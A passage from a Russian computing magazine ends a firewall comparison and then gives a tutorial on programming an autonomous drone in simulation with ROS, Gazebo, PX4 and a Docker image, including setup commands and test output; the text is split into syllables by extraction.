наибо лее удач ным вари антом будет TinyWall или ста ричок Outpost Firewall Pro.
Нес мотря на хорошие показа тели GlassWire, рекомен довать эту прог рамму я
не ста ну из‐за высокой сто имос ти. Но если пос мотреть на проб лему шире, то
исполь зовать, в прин ципе, мож но любой фай рвол. Глав ное — это пра виль ная
нас трой ка.

https://www.zonealarm.com/
https://www.privacyware.com/
https://www.glasswire.com/
https://tinywall.pados.hu/
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Уп равлять  квад рокоп тером  —  это  целое  искусс тво,
но писать прог раммы, которые поз воля ют ему летать в авто‐ 
ном ном  режиме, —  дело  не менее  зах ватыва ющее.  В  этой
статье  я  рас ска жу  о  том,  как  соз дать  прог рамму  на Python,
которая  будет  вес ти  бес пилот ник,  и  покажу,  как  про тес‐ 
тировать ее в симуля торе.

На шими  основны ми  инс тру мен тами  будут  сре да  раз работ ки  при ложе ний
для  робото тех ники    и  прог рам мный  симуля тор

. Их исполь зуют, что бы тес тировать алго рит мы в симуля цион ной сре‐ 
де и раз бивать при этом как мож но мень ше тех ники. И ROS, и Gazebo работа‐ 
ют в Linux — мы будем работать в Ubuntu 16.04.

Robot  Operating  System
Gazebo

КАКИЕ БЫВАЮТ ДРОНЫ
Дро ны быва ют раз ные. По конс трук ции раз лича ют нес коль ко типов дро нов:

муль тиротор ный — коп теры;•
са молет ный — fixed wing;•
гиб ридный — он взле тает вер тикаль но, потом исполь зует крылья.•

Так же  дро ны  делят ся  на  пот ребитель ские  (consumer)  и  ком мерчес кие
(commercial).

Пот ребитель ские,  как  ты  понима ешь,  —  это  те,  которые  мож но  купить
в  магази не  и  исполь зовать  как  лета ющую  камеру.  DJI  Phantom  и  Mavic  —
хорошие  модели.  Есть  и  менее  дорогие,  но  они  опре делен но  усту пают
по  качес тву.  Такие  квад рокоп теры  исполь зуют  для  съем ки  раз ных  мероп‐ 
риятий,  зда ний,  исто ричес ких  объ ектов.  Нап ример,  с  бес пилот ника  мож но
сде лать серию фотог рафий зда ния или памят ника, а затем соз дать из них 3D‐
модель объ екта методом фотог раммет рии.

Как пра вило, такие дро ны лета ют на руч ном управле нии, реже по мис сии
в  авто ном ном  режиме  по  GPS‐коор динатам.  Рынок  пот ребитель ских  квад‐ 
рокоп теров  боль ше  чем  наполо вину  при над лежит  одной  ком пании  —  .
С  ней  очень  слож но  кон куриро вать,  пос коль ку  там  дела ют  реаль но  кру той
про дукт:  дос тупный,  фун кци ональ ный,  удоб ный.  Хотя  в  области  квад рокоп‐ 
теров для сел фи DJI начина ет тес нить ком пания   со сво им дро ном R2.
Фиш ка  это го  дро на  в  том,  что  он  может  летать  авто ном но,  нап ример
за  мотоцик листом  в  лесу.  При  этом  бес пилот ник  видит  все  пре пятс твия
и  прок ладыва ет  авто ном ный безопас ный мар шрут  в  реаль ном  вре мени  так,
что бы человек всег да оста вал ся в кад ре. Реаль но кру тая шту ка.
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Ком мерчес кие дро ны исполь зуют ся в ком пани ях для решения опре делен‐ 
ной  задачи.  Одни  сле дят  за  сос тоянием  сель хоз полей,  летая  над  ними
регуляр но и делая фотог рафии, дру гие уме ют рас пылять удоб рения точеч но.
Дро ны исполь зуют на строй ках, в карь ерах. Каж дый день они обле тают стро‐ 
итель ный  объ ект,  дела ют  фотог рафии,  по  которым  соз дает ся  3D‐модель
в обла ке, и уже она помога ет отсле живать ежед невные изме нения.

При мер  рос сий ской  ком пании,  которая  активно  работа ет  с  этой  тех‐ 
нологи ей на рын ке США, —  .Traceair

Дру гой спо соб при мене ния — осмотр тру боп роводов дро нами. Это осо‐ 
бен но акту аль но для Рос сии: у нас газовые тру боп роводы тянут ся на тысячи
километ ров, и надо кон тро лиро вать утеч ки и врез ки.

Ну и конеч но, у всех на слу ху дос тавка товаров дро нами. Не знаю, зарабо‐ 
тает ли ког да‐нибудь сер вис  , но уже сей час ком пания 

 дос тавля ет товары в Цюрихе и некото рых городах США, а ком пания 
 дав но отправ ляет медика мен ты в полет над прос торами Афри ки. В Рос‐ 

сии успе хов тут пока нам ного мень ше, недав но была новость про 
,  а Сбер банк  тес тиру ет 
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дрон Поч ты
Рос сии,  который раз бился на пер вом  тес те дос тавку
денег дро нами

Ком пании    и    уже  име ют  лета ющие  про тоти пы  так си,
а ком пания с рос сий ски ми кор нями   раз рабаты вает лета ющий байк.

Volocopter Ehang
Hoversurf

В  помеще ниях  тоже  есть  задачи  для  ком мерчес ких  дро нов,  но  пока  они
не  силь но  рас простра нены,  в  этой  области  идут  интенсив ные  R&D‐иссле‐ 
дова ния. Воз можные при мене ния для такого вида дро нов:

;• ин вента риза ция склад ских помеще ний
;• ин спек ции стро ек внут ри зда ний

;• кон троль за безопас ностью в под земных шах тах
.• ин спек ции про мыш ленно го обо рудо вания в цехах

По живем —  уви дим,  какие  про екты  будут  реали зова ны  и  задис раптят  нашу
жизнь.  Гло баль ная  цель  —  сде лать  сис тему  управле ния  дро ном,  которой
герой филь ма  «Бегущий  по  лез вию 2049» мог  бы  ска зать:  «Сфо тог рафируй
тут все!»

АВТОНОМНАЯ НАВИГАЦИЯ
Ком мерчес кое при мене ние дро нов обыч но тре бует авто ном ного полета, а не
руч ного управле ния. Свя зано это с тем, что час то ком мерчес кие полеты надо
выпол нять регуляр но в одном и том же мес те и по одно му и тому же полет‐ 
ному  пла ну,  который  мож но  зап рограм мировать  и  сни зить  издер жки
на пилота.

Для  авто ном ного  управле ния  дро ну  надо  как  минимум  знать  с  высокой
точ ностью свои коор динаты в прос транс тве. На откры том прос транс тве мож‐ 
но  исполь зовать  GPS —  точ ность  дос тига ется  в  нес коль ко  мет ров.  Допол‐ 
нитель ная назем ная стан ция и тех нология   уве личат точ ность до нес‐ 
коль ких  сан тимет ров.  Но  назем ную  стан цию  не  всег да  воз можно  исполь‐ 
зовать,  и  это  очень  дорого.  Обыч ного  GPS  хва тает  для  задания  мар шру та
полета над сель хоз полями, строй ками, тру боп ровода ми, и дро ны в этих слу‐ 
чаях  лета ют  авто ном но.  Эта  фун кция  есть  у  любого  сов ремен ного  дро на,
который мож но най ти в про даже.

GPS RTK

В  таком режиме безопас но  летать  толь ко  в  откры том  небе без  пре пятс‐ 
твий. Если речь идет об обсле дова нии зда ний, тру боп роводов или при мене‐ 
нии  внут ри  помеще ний,  то  тут  не  обой тись  без  допол нитель ных  сен соров,
опре деля ющих рас сто яние до объ ектов. Тут исполь зуют одно мер ные сонары,
лидары,  дву мер ные  лидары,  3D‐лидары  и  камеры  глу бины.  На  бор ту  дро на
дол жен  быть  уста нов лен  допол нитель ный  вычис литель,  который  в  реаль ном
вре мени будет счи тывать дан ные с этих сен соров, стро ить 3D‐модель окру‐ 
жающе го прос транс тва и пла ниро вать в нем безопас ный мар шрут.

Есть еще одна важ ная проб лема: если мы лета ем в зам кну том прос транс‐ 
тве или меж ду высоки ми зда ниями, то сиг нал GPS будет недос тупен и необ‐ 
ходимо  иметь  дру гой  источник  коор динат  дро на  в  прос транс тве.  Мож но
опре делять свои коор динаты на бор ту, обра баты вая виде опо ток с бор товых
камер — луч ше исполь зовать сте реока меры или камеры глу бины. Такой алго‐ 
ритм называ ется SLAM (Simultaneous Localization and Mapping).

В потоке кад ров с камеры алго ритм ищет осо бые точ ки (features), которы‐ 
ми  могут  быть  малень кие  угол ки,  какие‐то  неод нород ности.  Точ кам  прис‐ 
ваивают ся  дес крип торы  таким  обра зом,  что,  если  мы  най дем  эту  же  точ ку
в пос леду ющих кад рах, ког да камера уже успе ла перемес тить ся в прос транс‐ 
тве, ей будет прис воен такой же дес крип тор и алго ритм смо жет ска зать: «Вот
на этом кад ре есть такая же точ ка, что и на пре дыду щем».

Ал горитм  не  зна ет  3D‐коор динаты  осо бых  точек  и  коор динаты  камеры
в момен ты съемок кад ров — эти парамет ры ему как раз и надо вычис лить. Он
отсле жива ет изме нения пик сель ных коор динат осо бых точек меж ду кад рами
и пыта ется подоб рать такие парамет ры, что бы, если спро еци ровать осо бые
точ ки в плос кость кад ра, получа лись наб люда емые или изме рен ные пик сель‐ 
ные коор динаты.

В ито ге получа ется оцен ка переме щения камеры в прос транс тве. Обыч но
алго ритм  SLAM  очень  тре бова телен  к  вычис литель ным  ресур сам,  но  есть
камера Intel RealSense T265 с мик росхе мой, реали зующей вычис ления SLAM
на аппа рат ном уров не.

Для  орга низа ции  авто ном ного  управле ния  дро ном  необ ходимо  решить
три задачи.
1. Оп ределить  коор динаты  дро на  в  прос транс тве.  Исполь зовать  для  это го
GPS‐при емник  или  вычис лять  на  бор ту  коор динаты,  обра баты вая  виде‐ 
опо ток алго рит мом SLAM. А луч ше исполь зовать оба под хода, что бы знать
как гло баль ные, так и локаль ные коор динаты дро на

2. Пос тро ить 3D‐кар ту окру жения дро на с помощью сен соров типа сте реока‐ 
мер, камер глу бины, лидаров.

3. До бавить софт для пла ниро вания мар шру та с уче том цели полета, текущих
коор динат и кар ты окру жения.

ПРАКТИКА
Пос коль ку мы хотим затес тить прос тую прог рамму управле ния дро ном в авто‐ 
ном ном режиме и при этом ничего не раз бить,  вос поль зуем ся  эму лято ром.
Нам понадо бит ся сле дующий софт.

По лет ный кон трол лер
Не пос редс твен но вра щени ем моторов и полетом дро на управля ет полет ный
кон трол лер,  пред став ляющий  собой  пла ту    с  про цес сором  ARM
на бор ту и про шив кой под наз вани ем  . Сам прог рам мный код PX4 мож но
ском пилиро вать  в  режиме  software  in  the  loop  как  раз  для  тес тирова ния
на  пер сональ ном  компь юте ре  на  Intel  x84  CPU.  Софт  PX4  в  этом  режиме
дума ет,  что  он  работа ет  на  реаль ном  железе  полет ного  кон трол лера,  хотя
на самом деле он выпол няет ся в симуля цион ной сре де на ПК и получа ет под‐ 
менные дан ные с сен соров.

Pixhawk
PX4

Robot Operating System
Нам пот ребу ется мно го раз ных прог рам мных модулей. Одни будут работать
с сен сорами, дру гие будут реали зовы вать SLAM, третьи — стро ить 3D‐кар ту,
чет вертые  —  пла ниро вать  в  ней  безопас ный  мар шрут.  Для  соз дания  этих
модулей мы исполь зуем Robot Operating System (ROS) — рас простра нен ный
фрей мворк  для  раз работ ки  при ложе ний  робото тех ники.  При ложе ние
для  ROS  пред став ляет  собой  набор  вза имо дей ству ющих  пакетов,  каж дый
экзем пляр которых называ ется узел, или node.

Один из  узлов называ ется мас тер  (master  node)  и  отве чает  за регис тра‐ 
цию осталь ных узлов при ложе ния. Каж дый узел пред став ляет собой отдель‐ 
ный про цесс Linux. ROS пре дос тавля ет механизм переда чи и син хро низа ции
сооб щений  меж ду  узла ми.  Сущес тву ют  как  стан дар тные  сооб щения,  так
и  опре делен ные  прог раммис том.  В  качес тве  сооб щений  выс тупа ют  дан ные
с  сен соров,  виде окад ры,  обла ка  точек,  коман ды  управле ния  и  переда чи
парамет ров.

Уз лы ROS могут быть запуще ны на раз ных машинах — в этом слу чае вза‐ 
имо дей ству ют они через сетевой интерфейс. В сос таве ROS есть спе циаль‐ 
ный узел rviz, он слу жит для гра фичес кой визу али зации переда ваемых в ROS
сооб щений. Нап ример, мож но пос мотреть, как БПЛА видит мир вок руг себя,
отоб разить тра екто рию его дви жения и виде опо ток с камеры.

Для  соз дания  пакетов  ROS  пре дос тавля ет  воз можность  исполь зовать
язы ки C++ и Python.

Прог рам мный симуля тор реаль ного мира Gazebo
Все эти прог рам мные средс тва дол жны брать дан ные с сен соров и управлять
чем‐то. Прог рамме неваж но, работать ли с реаль ными или симуля цион ными
дат чиками  и  акту ато рами,  поэто му  все  алго рит мы  мож но  сна чала  про тес‐ 
тировать на компь юте ре, в мире Gazebo.

Gazebo  симули рует  вза имо дей ствие  робота  с  окру жающим  прос транс‐ 
твом.  Качес твен ная  трех мерная  гра фика  здесь  поз воля ет  уви деть  мир
и  робота  как  в  компь ютер ной  игре.  Есть  встро енная  модель  физики  мира
и  воз можность  исполь зовать  раз ные  физичес кие  дат чики,  виде ока меры,
даль номеры. Набор сущес тву ющих сен соров мож но при желании допол нять
сво ими,  соз давая  пла гины.  Изме рения  сен соров  модели руют ся  с  задава‐ 
емым уров нем шума.

В Gazebo есть готовые окру жения и при меры заданий и, конеч но же, мож‐ 
но  соз давать  свои.  Помимо  пла гинов‐сен соров,  мож но  делать  и  прог рам‐ 
мные.  Нап ример,  ты  можешь  опи сать  в  виде  прог раммы  модель  работы
мотора,  которая  задаст  зависи мость  меж ду  сиг налом  кон трол лера  и  тягой
дви гате ля.

Об раз Docker
Что бы  раз вернуть  у  себя  на  компь юте ре  опи сан ную  сре ду  симуля ции,  надо
пос тавить  боль шое  количес тво  прог рам мных  пакетов,  и  могут  воз никнуть
проб лемы с  зависи мос тями. Что бы сэконо мить  тебе вре мя,  я  соз дал образ
Docker с уже нас тро енны ми пакета ми и нуж ным нам соф том для пер вого тес‐ 
та дро на в Gazebo.

Най ти кон тей нер мож но   — заходи и ска чивай.на моем гит хабе

Как работа ет софт управле ния
В нашем прос тей шем при мере дрон будет летать очень при митив но.
1. Ис точник коор динат дро на — не SLAM, а симули рован ный сиг нал GPS.
2. Дрон в симуля торе не стро ит кар ту окру жающе го прос транс тва.
3. Дрон лета ет по заранее задан ной тра екто рии.

Для пер вого тес та впол не неп лохо.

ЗАПУСК СОФТА
Сна чала   и пакеты Python.ста вим Docker

sudo apt install python‐wstool python‐catkin‐tools ‐y

Ка чаем образ и софт.

export FASTSENSE_WORKSPACE_DIR=/home/urock/work/px4
cd $FASTSENSE_WORKSPACE_DIR
mkdir ‐p catkin_ws/src # Сюда будем клонировать ROS модуль управления
mkdir ‐p Firmware # Тут будет скомпилирован код PX4 в режиме sitl
cd catkin_ws/src
git clone git@github.com:FastSense/px4_ros_gazebo.git .
wstool init . # Создает ROS workspace

Со бира ем образ.

сd catkin_ws/src
docker build . ‐t x_kinetic_img # x_kinetic_img — имя создаваемого 
образа

Ска чива ем и ком пилиру ем код PX4 в режиме sitl внут ри обра за Docker.

сd catkin_ws/src
./docker/docker_x.sh x_kinetic_img make_firmware
# После компиляции должно открыться окошко Gazebo с дроном, лежащим 
на асфальте
# После каждого запуска контейнера его надо убивать
# Извини, но с Docker я на вы и пока ничего умнее не придумал
docker rm $(docker ps ‐a ‐q)

Си муля ция в Gazebo

За пус каем кон тей нер в режиме bash, ком пилиру ем и запус каем тест.

сd catkin_ws/src
./docker/docker_x.sh x_kinetic_img bash

# Внутри docker‐контейнера
cd /src/catkin_ws/
catkin build
source devel/setup.bash # Это надо сделать только после первой сборки
roslaunch simple_goal simple_goal.launch

Ты дол жен  уви деть  такое же окош ко Gazebo,  в  котором дрон нач нет летать.
В кон соли ты получишь вот такой вывод:

 

 

 
[ INFO] [1577108810.425081938, 19.404000000]: FCU: ARMED by Arm/Disarm 
component command
[ INFO] [1577108811.792807760, 20.660000000]: FCU: Takeoff detected

Тест дол жен закон чить ся так.

 

 

 
 

 
 

 
 

[Testcase: test_posctl] ... ok
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
SUMMARY:
* RESULT: SUCCESS
* TESTS: 1
* ERRORS: 0 []
* FAILURES: 0 []

На ошиб ки вро де этой не обра щай вни мания, их выда ет PX4 по неиз вес тной
мне при чине.

 

 

[ERROR] [1577108798.707247440, 7.804000000]: ODOM: Ex: Could not find a 
connection between 'local_origin_ned' and 'fcu' because they are not 
part of the same tree.Tf has two or more unconnected trees.

Для завер шения про цес са нажимай Ctrl‐C.

Пос мотрим на код
Мой репози торий Fast Sense осно ван на матери алах  коман ды,  которая раз‐ 
работа ла  PX4  —  самый  популяр ный  опен сор сный  полет ный  кон трол лер
в мире.

У этих ребят есть своя  , а на их гит хабе ты
най дешь  ,  который  я  перенес  в 

, что бы все находи лось в одном мес те.

инс трук ция по запус ку в Docker
код  модуля  авто ном ного  управле ния свой

репози торий
Код управле ния на Python сов сем неболь шой, я уве рен, ты смо жешь в нем

разоб рать ся самос тоятель но. Я лишь ска жу, что начинать надо с чте ния фун‐ 
кции  .  В  ней  опи сана  логика  полета:  дрон  перево дит ся
в режим  , затем армится, взле тает и начина ет полет по точ кам 

. Пос ле чего
садит ся и дисар мится.

test_posctl(self)
OFFBOARD (0, 

0, 0), (5, 5, 2), (5, ‐5, 2), (‐5, ‐5, 2), (0, 0, 2)

ЧТО ДАЛЬШЕ?
Ес ли ты заин тересо вал ся темой прог рамми рова ния бес пилот ников, то у тебя
есть мас са самых раз ных  воз можнос тей получить под ходящее обра зова ние
или  занимать ся  самос тоятель но.  Вот  нес коль ко  советов,  которые  помогут
сори енти ровать ся.

На чинать осва ивать про фес сию прог раммис та‐робото тех ника мож но уже
со шко лы.

•

Вы бирай  вуз,  где  есть  робото тех ничес кие  кафед ры.  Если  не  можешь
поехать  в  Стэн форд,  MIT  или  ETH  Zurich  —  выбирай  МФТИ,  Скол тех
или НГТУ  (навер няка  есть  и  дру гие  наши  силь ные  вузы,  но  в  этих  трех  я
знаю силь ные коман ды, которые занима ются дро нами).

•

При ходи на ста жиров ку к нам в  .• Fast Sense
Со бирай коман ду и учас твуй в хакато нах   —  .• COEX COEX World Skills
И задавай воп росы в ком мента риях или пиши мне на поч ту.•

До встре чи!

mailto:yarumyantsev@gmail.com
https://www.ros.org/
http://gazebosim.org/
https://www.dji.com/
https://www.skydio.com/
http://traceair.net/
https://www.amazon.com/Amazon-Prime-Air/b?ie=UTF8&node=8037720011
https://mttr.net/
https://www.flyzipline.com/
https://www.youtube.com/watch?v=SiyaNdqFSDM
https://www.rbc.ru/technology_and_media/16/06/2017/594391f79a79478a62a8409f
https://www.volocopter.com/en/
http://www.ehang.com/ehang184/
https://www.hoversurf.com/
https://flytware.com/
https://www.exyn.com/
https://emesent.io/
http://www.fastsense.tech/
https://en.wikipedia.org/wiki/Real-time_kinematic
https://pixhawk.org/
https://dev.px4.io/master/en/index.html
https://github.com/FastSense/px4_ros_gazebo
https://docs.docker.com/install/linux/docker-ce/ubuntu/
https://dev.px4.io/master/en/test_and_ci/docker.html
https://github.com/PX4/Firmware/blob/master/integrationtests/python_src/px4_it/mavros/mavros_offboard_posctl_test.py
https://github.com/FastSense/px4_ros_gazebo/blob/master/simple_goal/src/simple_goal.py
http://www.fastsense.tech/
https://copterexpress.timepad.ru/events/
https://coex.tech/cloverws
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